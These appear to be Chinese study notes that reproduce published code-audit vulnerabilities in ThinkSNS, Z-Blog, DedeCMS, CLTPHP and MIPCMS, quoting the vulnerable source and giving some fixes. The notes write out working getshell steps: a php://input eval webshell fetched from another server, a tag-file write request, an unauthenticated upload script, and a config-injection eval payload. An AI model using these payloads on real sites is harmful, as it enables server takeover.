代码审计漏洞复现学习

学习并复现一些公开的代码审计文章。

20180306

20180308 ThinkSNS_V4 任意文件下载漏洞导致Getshell

源码下载

存在漏洞代码\ts4\apps\admin\Lib\Action\UpgradeAction.class.php中的一个函数中。

public function step1()
{
    $downUrl = $_GET['upurl'];
    $downUrl = urldecode($downUrl);
    $path = DATA_PATH.'/'.'upgrade/'.basename($downUrl);

    // # 备份老配置文件
    $oldConf = file_get_contents(CONF_PATH.'/thinksns.conf.php');
    file_put_contents(DATA_PATH.'/old.thinksns.conf.php', $oldConf);

    // # 下载增量包
    is_dir(dirname($path)) or mkdir(dirname($path), 0777, true);
    file_put_contents($path, file_get_contents($downUrl));
    file_exists($path) or $this->showError('下载升级包失败,请检查'.dirname($path).'目录是否可写,如果可写,请刷新重试!');

    // 验证hash判断包是否合法。
    $filename = dirname($path).'/upgrade.json';
    $data = file_get_contents($filename);
    $data = json_decode($data, false);
    if (md5_file($path) != $data->md5) {
        $this->showError('更新包校验失败,请重新执行升级.');
    }

函数

file_put_contents — 将一个字符串写入文件
file_get_contents — 将整个文件读入一个字符串

在这段函数中,先备份老配置文件,然后下载增量包,下载参数$downUrl未经过任何处理,直接下载到网站目录下,接着验证hash判断包是否合法,但是并没有删除下载的增量包,
导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

远程下载文件,在另一个服务器上创建door.php。

<?php   
echo "<?php";
echo "eval(file_get_contents('php://input'));";  
echo "?>";  
?>  

远程下载

http://127.0.0.1:8000/ts4/index.php?app=admin&mod=Upgrade&act=step1&upurl=http://192.168.86.194:8000/door.php

会在ts4\data\upgrade出现下载的door.php文件。

20180307 Z-Blog_1.5.1.1740_bugs

在登录后台中,存在存储型XSS

网站设置中。

网站标题和网站副标题中均存在XSS漏洞。

ZC_BLOG_SUBNAMEZC_BLOG_NAME参数。

通过抓包来看具体的请求参数以及相应的文件。

/zb_system/cmd.php?act=SettingSav

报错,泄漏网站物理路径。

/zb_users/cache/compiled/default/module-previous.php

20180308 DedeCMS V5.7 SP2后台存在代码执行漏洞

某CMS V5.7 SP2 后台Getshell

DedeCMS V5.7 SP2后台存在代码执行漏洞

下载

漏洞详情

默认后台地址 /dede/,文件dede/tpl.php中的251到281行。

csrf_check();
    #filename和前面正则的匹配情况
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    #搜索filename中匹配`\.lib\.php$#i`的部分,以空格代替
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    #去掉反斜号
    $content = stripslashes($content);
    #拼接文件名
    $truefile = DEDEINC.'/taglib/'.$filename;
    #写入内容
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

replace处理之后赋值给变量 $tagname 。但是写入文件的时候并没有用到$tagname 。
那为什么有这个$tagname,拼接文件名的时候,应该是拼接tagname

利用

1.由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。

2.可以看到将content直接写入到文件中导致可以getshell。但是这里的文件名经过正则表达式,所以必须要.lib.php结尾。

3.这里还有一个csrf_check()函数,即请求中必须要带token参数。
漏洞利用
  1. 首先获取token。访问域名 + /dede/tpl.php?action=upload

    view-source:http://127.0.0.1:8000/DedeCMS/uploads/dede/tpl.php?action=upload

    d170f6bed3360da62d909d28a072c312

2.然后访问

域名 + /dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值

shell 地址

域名 + /include/taglib/secnote.lib.php

漏洞修复

1.禁止此处写入文件。

2.过滤恶意标签

20180319【代码审计】CLTPHP_v5.5.3 任意文件上传漏洞

首先把数据库文件到近数据库中,就可以直接进行访问了。

漏洞分析
1、漏洞文件位置:`/app/user/controller/UpFiles.php` 第5-25行:

这段代码是一个上传函数,未经用户权限验证,获取表单内容,存在权限绕过上传的情况。跟踪move函数:

2:在文件\think\library\think\File.php中,第327-377行,这是一个移动文件函数。经过一系列检测上传文件,看其中的check验证上传函数。

public function move($path, $savename = true, $replace = true)
   {
       // 文件上传失败,捕获错误代码
       if (!empty($this->info['error'])) {
           $this->error($this->info['error']);
           return false;
       }

       // 检测合法性
       if (!$this->isValid()) {
           $this->error = 'upload illegal files';
           return false;
       }

       // 验证上传
       if (!$this->check()) {
           return false;
       }

       $path = rtrim($path, DS) . DS;
       // 文件保存命名规则
       $saveName = $this->buildSaveName($savename);
       $filename = $path . $saveName;

       // 检测目录
       if (false === $this->checkPath(dirname($filename))) {
           return false;
       }

       // 不覆盖同名文件
       if (!$replace && is_file($filename)) {
           $this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
           return false;
       }

       /* 移动文件 */
       if ($this->isTest) {
           rename($this->filename, $filename);
       } elseif (!move_uploaded_file($this->filename, $filename)) {
           $this->error = 'upload write error';
           return false;
       }

       // 返回 File 对象实例
       $file = new self($filename);
       $file->setSaveName($saveName)->setUploadInfo($this->info);

       return $file;
   }

3:在文件\think\library\think\File.php中。第216-245行。

public function check($rule = [])
    {
        $rule = $rule ?: $this->validate;

        /* 检查文件大小 */
        if (isset($rule['size']) && !$this->checkSize($rule['size'])) {
            $this->error = 'filesize not match';
            return false;
        }

        /* 检查文件 Mime 类型 */
        if (isset($rule['type']) && !$this->checkMime($rule['type'])) {
            $this->error = 'mimetype to upload is not allowed';
            return false;
        }

        /* 检查文件后缀 */
        if (isset($rule['ext']) && !$this->checkExt($rule['ext'])) {
            $this->error = 'extensions to upload is not allowed';
            return false;
        }

        /* 检查图像文件 */
        if (!$this->checkImg()) {
            $this->error = 'illegal image files';
            return false;
        }

        return true;
    }

在check函数中检查文件大小、Mime类型、文件后缀等,主要是从数组$rule中获取,check函数未带入参数$rule,所以取$this->validate,而validate的值在该类有定义,我们看一下$validate的值。

在文件\think\library\think\File.php中的38-42行。

/**
    * @var array 文件上传验证规则
    */
   protected $validate = [];

在同文件中validate默认值为空,调用ThinkPHP的上传函数,但配置不当导致过滤函数chenk无效,导致程序在实现存在任意文件上传漏洞,攻击者无需任何权限,可直接上传恶意脚本,控制网站服务器权限。

漏洞利用
#!/usr/bin/python
# Bypass

import requests
import sys

def cltphp_up(url):
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)','X-Requested-With': 'XMLHttpRequest',}   
    geturl = url +"/user/upFiles/upload"
    files = {'file':('1.php',open('1.php','rb'),'image/peg')}
    res = requests.post(geturl,files=files,headers=header)
    print res.text

if __name__ == "__main__":
    if len(sys.argv) == 2:
        url = sys.argv[1]
        cltphp_up(url)
        sys.exit(0)
    else:
        print("usage: %s www.abc.com" % sys.argv[0])
        sys.exit(-1)

访问http://127.0.0.1:8000/cltphp/public/uploads/20180319/e6c63118ba063b9f97f1e931622582ab.php

修复建议

1、添加上传页面的认证,通过白名单限制上传文件后缀;

2、禁止上传目录脚本执行权限。

20180322 MIPCMS 远程写入配置文件Getshell

代码分析
  1. 漏洞文件位置:\app\install\controller\Install.php的第13-23行:

index函数中,检测是否存在install.lock文件,判断网站是否已经安装。检测是在index函数中,非初始化函数中,固在接下来的安装过程中,如果没有检测到lock文件,那么就存在一个绕过情况,进行CMS重装。

同文件下的函数,第118-142行。

public function installPost(Request $request) {
               header('Access-Control-Allow-Origin: *');
               header('Access-Control-Allow-Credentials: true');
               header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');
               header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');
           if (Request::instance()->isPost()) {
               $dbconfig['type']="mysql";
               $dbconfig['hostname']=input('post.dbhost');
               $dbconfig['username']=input('post.dbuser');
               $dbconfig['password']=input('post.dbpw');
               $dbconfig['hostport']=input('post.dbport');
               $dbname=strtolower(input('post.dbname'));

               $username = input('post.username');
               $password = input('post.password');
               $rpassword = input('post.rpassword');
               if (!$username) {
                   return jsonError('请输入用户名');
               }
               if (!$password) {
                   return jsonError('请输入密码');
               }
               if (!$rpassword) {
                   return jsonError('请输入重复密码');
               }

直接跳转到这一步,绕过index函数中install.lock的检测。看到,这段installPost函数中获取了多个参数,并没有检测lock文件。看下面的代码:

$dsn = "mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8";
               try {
                   $db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);
               } catch (\PDOException $e) {
                   return jsonError('错误代码:'.$e->getMessage());
               }
               $dbconfig['database'] = $dbname;
               $dbconfig['prefix']=trim(input('dbprefix'));
               $tablepre = input("dbprefix");
               $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');
               $sql = str_replace("\r", "\n", $sql);
               $sql = explode(";\n", $sql);
               $default_tablepre = "mip_";
               $sql = str_replace(" `{$default_tablepre}", " `{$tablepre}", $sql);
               foreach ($sql as $item) {
                   $item = trim($item);
                   if(empty($item)) continue;
                   preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);
                   if($matches) {
                       if(false !== $db->exec($item)){

                       } else {
                          return jsonError('安装失败');
                       }
                   } else {
                       $db->exec($item);
                   }
               }

这段函数对获取的参数进行检测,Mysql数据库连接失败会报错退出,接着进行导入数据库操作。看第172-192行。

if(is_array($dbconfig)){
                    $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');
                    foreach ($dbconfig as $key => $value) {
                        $conf = str_replace("#{$key}#", $value, $conf);
                    }
                    $install = CONF_PATH;
                    if(!is_writable($install)){
                        return jsonError('路径:'.$install.'没有写入权限');
                    }
                    try {
                        $fileStatus = is_file(CONF_PATH. '/database.php');
                        if ($fileStatus) {
                             unlink(CONF_PATH. '/database.php');
                        }
                        file_put_contents(CONF_PATH. '/database.php', $conf);
                        return jsonSuccess('配置文件写入成功',1);
                    } catch (Exception $e) {
                        return jsonError('database.php文件写入失败,请检查system/config 文件夹是否可写入');
                    }

installPost函数在的最后,将参数写入配置文件database.php中,且未对参数进行任何的过滤,攻击者可以构造脚本代码写入配置文件。

综上,首先程序流程不严谨,可以绕过install.lock检测进入installPost函数中,可直接进行CMS重装,或者通过构造参数将脚本代码写入配置文件,进一步去触发脚本代码,控制网站服务器,程序在实现上存在远程代码执行漏洞,危害极大。

漏洞利用
CMS 重装

远程写入配置文件Getshell

利用php://input实现的webshell,就不必纠结于大小写了。

首先在攻击者服务器上创建一个新的数据库,命名为test',1=>eval(file_get_contents('php://input')),'xx'=>'

访问 192.168.145.226/index.php?s=/install/Install/installPost

POST内容

username=admin&password=12345678&rpassword=12345678&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'xx'=>'&dbhost=192.168.86.194&dbuser=root&dbpw=root

查看写入的内容。

 // 数据库名
'database'       => 'test',1=>eval(file_get_contents('php://input')),'xx'=>'',

测试。